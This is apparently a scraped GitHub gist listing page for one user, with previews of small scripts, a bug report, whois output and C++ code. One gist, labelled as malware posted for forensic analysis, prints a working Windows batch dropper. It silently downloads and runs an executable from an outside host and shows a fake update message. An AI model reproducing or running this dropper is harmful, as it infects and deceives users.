Skip to content

Instantly share code, notes, and snippets.

Andreas Renberg IQAndreas

Block or report user

Report or block IQAndreas

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View filename.sh
#!/bin/bash
# --------------------------------------------------------------------------- #
# Created by Andreas Renberg (https://github.com/IQAndreas)
# Based on work by Doctor J (https://stackoverflow.com/a/1403489/617937)
# This code is in the public domain and under no license.
# Well, my code at least. The ~8 lines by Doctor J still belong to him.
# --------------------------------------------------------------------------- #
# Personal notes: What if a file is named 'file.'?
View hardlink-test.sh
@IQAndreas
IQAndreas / gist:b1870fa9af631ea814d396ba4ed02149
Last active Mar 3, 2017 — forked from larsiusprime/gist:2cff49cc973eba078a94b6c3358c7efb
Help me diagnose a black screen error on linux/mac
View gist:b1870fa9af631ea814d396ba4ed02149

I believe these settings should be enough to reproduce the error.

platform: linux
bits: 64
haxe version: latest dev version

hxcpp: https://github.com/larsiusprime/hxcpp (master branch)

View replace.sh
video_title="${video_title//"/\'}"; # Replace " with ' }";
video_title="${video_title//'/\'}"; # Replace ' with ' }";
video_title="${video_title//&/&}"; # Replace & with &
video_title="${video_title//\//}"; # Remove forward slashes
@IQAndreas
IQAndreas / chrome_update.bat
Created Jul 16, 2016
DO NOT RUN! This is malware. This batch file was automatically downloaded by Google Chrome from a website when it redirected to an advertisement. Posted here for forensic analysis.
View chrome_update.bat
@echo off
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\2a8e4da7858ebc8a788b7e303e06ab57.exe';(New-Object System.Net.WebClient).DownloadFile('https://ahsunachatdesign.net/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
start /min "" wscript.exe "%temp%\install_flash.js"
DEL "%~f0
View everything-i-know-is-a-lie.js
// Just hide this line somewhere deep inside your code where nobody will find it...
var ˮtrueˮ = "false";
// ...
iftrueˮ == "false") {
alert("There is no spoon.");
}
@IQAndreas
IQAndreas / cleanup-windows.sh
Created Dec 8, 2015
Cleanup "worthless" files from Windows backups
View cleanup-windows.sh
#!/bin/bash
# Remove "worthless" Windows files from the backup
find . -name "Thumbs.db" -delete
find . -name "desktop.ini" -delete
# Remove empty directories
find . -type d -empty -delete
View creative-coding-podcast.sh
#!/bin/bash
wget "http://media.blubrry.com/creativecoding/creativecodingpodcast.com/episodes/CreativeCodingEpisode"{1..43}.mp3
View whois
$ whois google.com
Whois Server Version 2.0
Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
Aborting search 50 records found .....
Server Name: GOOGLE.COM.AFRICANBATS.ORG
@IQAndreas
IQAndreas / endian.cpp
Created Aug 15, 2015
How to tell if integers are stored as big or little endian (basically just look in the memory locations, but convert the pointer from an `*int` to a `*char` before incrementing)
View endian.cpp
#include <iostream>
using namespace std;
int main() {
int integers[5] = {4, 13, 14, 24, 256};
int *int0 = &integers[0];
char *c = (char*)int0;
char *end = (char*)&integers[5];
You can’t perform that action at this time.